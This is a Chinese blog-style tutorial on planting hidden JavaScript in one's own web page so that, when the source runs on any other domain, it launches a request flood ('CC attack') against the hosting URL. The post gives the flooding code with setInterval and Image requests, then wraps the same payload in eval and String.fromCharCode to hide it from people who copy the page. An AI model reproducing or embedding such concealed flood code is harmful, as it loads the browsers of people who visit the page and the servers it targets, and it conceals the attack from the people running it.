这个只能算个思路~~~ 我相信大家也知道,所有前端页面的源码都是开源的,自己辛辛苦苦写的脚本,被人一个复制,作品就完了,经过10多天的苦思冥想,我自己想出了一个脚本,那就是在自己的前端页面留下后门,如果别人把你的源码复制走了,那么就对对方进行CC反击
思路是不是很猥琐,嘎嘎 整体思路就是,对自己做一个判断,判断如果不是自己的域名,就发起CC反击
本章节需要JS基础
这里我先打印输入自己的域名
代码语言:javascript复制url = window.location.href;
document.write("<br>url=" url)
可以看到, 域名是http://localhost/1.html 下面做一个判断,如果域名不是 http://localhost/1.html那么就发起cc攻击
代码语言:javascript复制if(url!='http://localhost/2tml'){ //判断域名如果不是http://localhost/2tml就执行下面的代码
url = window.location.href; //保存域名变量
function cctest() {
url = window.location.href;
var cc = new Image() //新创建一个图片
var rand = Math.floor(Math.random() * 2000) //图片get请求随机数
cc.src =url '?' rand '.'
cc.onerror="cctest()"
cc.onload="cctest()"
cctest()
}
setInterval(cctest, 10)
setInterval(cctest, 10)
setInterval(cctest, 10)
}
//CC攻击
这里我的域名是http://localhost/1.html,不符合判断的要求,那么他就会发起CC攻击,假设我们是偷走源码的人,现在我们打开这个网页试试看
刚刚卡死了 可以看到,谷歌占用进程百分之60.还在不断的上涨,
好了,前端后门就完成了,但是,直接这样放上去肯定是不行的,因为大部分复制你源码的人,都懂点JS,所以我们要 “加工”
随便用个编码机制吧~~
代码语言:javascript复制//获取页面完整地址
url = window.location.href;
document.write("<br>url=" url)
if(url!='http://localhost/2tml'){ //判断,如果当前域名不是 localhost/2htm就发起CC攻击,这里你可以修改为自己的域名
//一下开始攻击
eval(
eval(String.fromCharCode(9,117,114,108,32,61,32,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,59,13,102,117,110,99,116,105,111,110,32,99,99,116,101,115,116,40,41,32,123,13,117,114,108,32,61,32,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,59,13,118,97,114,32,99,99,32,61,32,110,101,119,32,73,109,97,103,101,40,41,13,118,97,114,32,114,97,110,100,32,61,32,77,97,116,104,46,102,108,111,111,114,40,77,97,116,104,46,114,97,110,100,111,109,40,41,32,42,32,50,48,48,48,41,13,99,99,46,115,114,99,32,61,117,114,108,43,39,63,39,43,114,97,110,100,43,39,46,39,13,99,99,46,111,110,101,114,114,111,114,61,34,99,99,116,101,115,116,40,41,34,13,99,99,46,111,110,108,111,97,100,61,34,99,99,116,101,115,116,40,41,34,13,99,99,116,101,115,116,40,41,13,125,13,115,101,116,73,110,116,101,114,118,97,108,40,99,99,116,101,115,116,44,32,49,48,41,13,115,101,116,73,110,116,101,114,118,97,108,40,99,99,116,101,115,116,44,32,49,48,41,13,115,101,116,73,110,116,101,114,118,97,108,40,99,99,116,101,115,116,44,32,49,48,41)))
}